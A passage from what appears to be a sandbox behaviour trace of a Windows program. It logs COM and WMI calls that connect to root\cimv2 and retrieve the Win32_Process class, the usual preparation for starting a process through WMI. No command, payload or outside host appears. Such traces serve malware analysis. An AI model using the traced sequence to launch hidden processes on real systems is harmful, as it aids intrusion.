plFlavor=0x27c062c*=0) returned 0x0 [0130.216] IWbemClassObject:Get (in: This=0x1bb92630, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c0628*=19, plFlavor=0x27c062c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c0628*=19, plFlavor=0x27c062c*=0) returned 0x0 [0130.216] IWbemClassObject:Put (This=0x1bb92630, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0130.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b610, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0130.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.216] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0130.216] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.216] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0130.216] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0130.216] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0130.216] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.218] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bba6850) returned 0x0 [0130.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6850, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0130.218] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6850, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0b910) returned 0x0 [0130.218] WbemDefPath:IUnknown:Release (This=0x1bba6850) returned 0x0 [0130.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0b910) returned 0x0 [0130.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0130.219] WbemDefPath:IUnknown:AddRef (This=0x1aa0b910) returned 0x3 [0130.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0130.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0130.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bba6890) returned 0x0 [0130.219] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6890, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.219] WbemDefPath:IUnknown:Release (This=0x1bba6890) returned 0x3 [0130.219] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0130.219] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0130.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0130.219] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x2 [0130.219] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x1 [0130.219] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0130.219] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0130.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b910, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0b910) returned 0x0 [0130.219] WbemDefPath:IUnknown:AddRef (This=0x1aa0b910) returned 0x3 [0130.219] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x2 [0130.219] WbemDefPath:IWbemPath:SetText (This=0x1aa0b910, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0130.219] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0130.219] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.219] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0130.219] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0130.219] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0130.219] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.220] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bba6990) returned 0x0 [0130.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba6990, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0130.220] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bba6990, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bba69b0) returned 0x0 [0130.220] WbemLocator:IUnknown:Release (This=0x1bba6990) returned 0x0 [0130.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bba69b0) returned 0x0 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0130.221] WbemLocator:IUnknown:AddRef (This=0x1bba69b0) returned 0x3 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0130.221] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0130.221] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0130.221] WbemLocator:IUnknown:Release (This=0x1bba69b0) returned 0x2 [0130.221] WbemLocator:IUnknown:Release (This=0x1bba69b0) returned 0x1 [0130.221] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0130.221] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0130.221] WbemLocator:IUnknown:QueryInterface (in: This=0x1bba69b0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bba69b0) returned 0x0 [0130.221] WbemLocator:IUnknown:AddRef (This=0x1bba69b0) returned 0x3 [0130.221] WbemLocator:IUnknown:Release (This=0x1bba69b0) returned 0x2 [0130.222] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0130.222] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0130.222] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.222] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bba69d0) returned 0x0 [0130.222] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bba69d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbaa0f0) returned 0x0 [0130.274] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa0f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02c20) returned 0x0 [0130.275] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02c20, pProxy=0x1bbaa0f0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0130.275] WbemLocator:IUnknown:Release (This=0x1aa02c20) returned 0x1 [0130.275] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa0f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02c60) returned 0x0 [0130.275] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa0f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02c20) returned 0x0 [0130.275] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02c20, pProxy=0x1bbaa0f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0130.275] WbemLocator:IUnknown:Release (This=0x1aa02c20) returned 0x2 [0130.275] WbemLocator:IUnknown:Release (This=0x1aa02c60) returned 0x1 [0130.275] CoTaskMemFree (pv=0x1bba5fd0) [0130.275] WbemLocator:IUnknown:AddRef (This=0x1bbaa0f0) returned 0x2 [0130.275] WbemLocator:IUnknown:Release (This=0x1bba69d0) returned 0x0 [0130.276] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0130.276] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0130.276] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa0f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02c30) returned 0x0 [0130.276] WbemLocator:IRpcOptions:Query (in: This=0x1aa02c30, pPrx=0x1bba6a30, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0130.276] WbemLocator:IUnknown:Release (This=0x1aa02c30) returned 0x2 [0130.276] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0130.276] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0130.276] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa0f0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbaa0f0) returned 0x0 [0130.276] WbemLocator:IUnknown:Release (This=0x1bbaa0f0) returned 0x2 [0130.276] SysStringLen (param_1=0x0) returned 0x0 [0130.276] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0130.276] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0130.276] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.276] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b610, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0130.276] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b610, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0130.277] IWbemServices:GetObject (in: This=0x1bbaa0f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb929a0, ppCallResult=0x0) returned 0x0 [0130.291] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0130.291] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0130.291] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0130.292] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0130.292] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0130.292] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0130.292] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.293] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bba69d0) returned 0x0 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba69d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0130.294] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba69d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0b9d0) returned 0x0 [0130.294] WbemDefPath:IUnknown:Release (This=0x1bba69d0) returned 0x0 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0b9d0) returned 0x0 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0130.294] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0130.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bba69f0) returned 0x0 [0130.294] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba69f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.294] WbemDefPath:IUnknown:Release (This=0x1bba69f0) returned 0x3 [0130.294] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0130.295] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0130.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0130.295] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0130.295] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0130.295] CoGetContextToken (in: 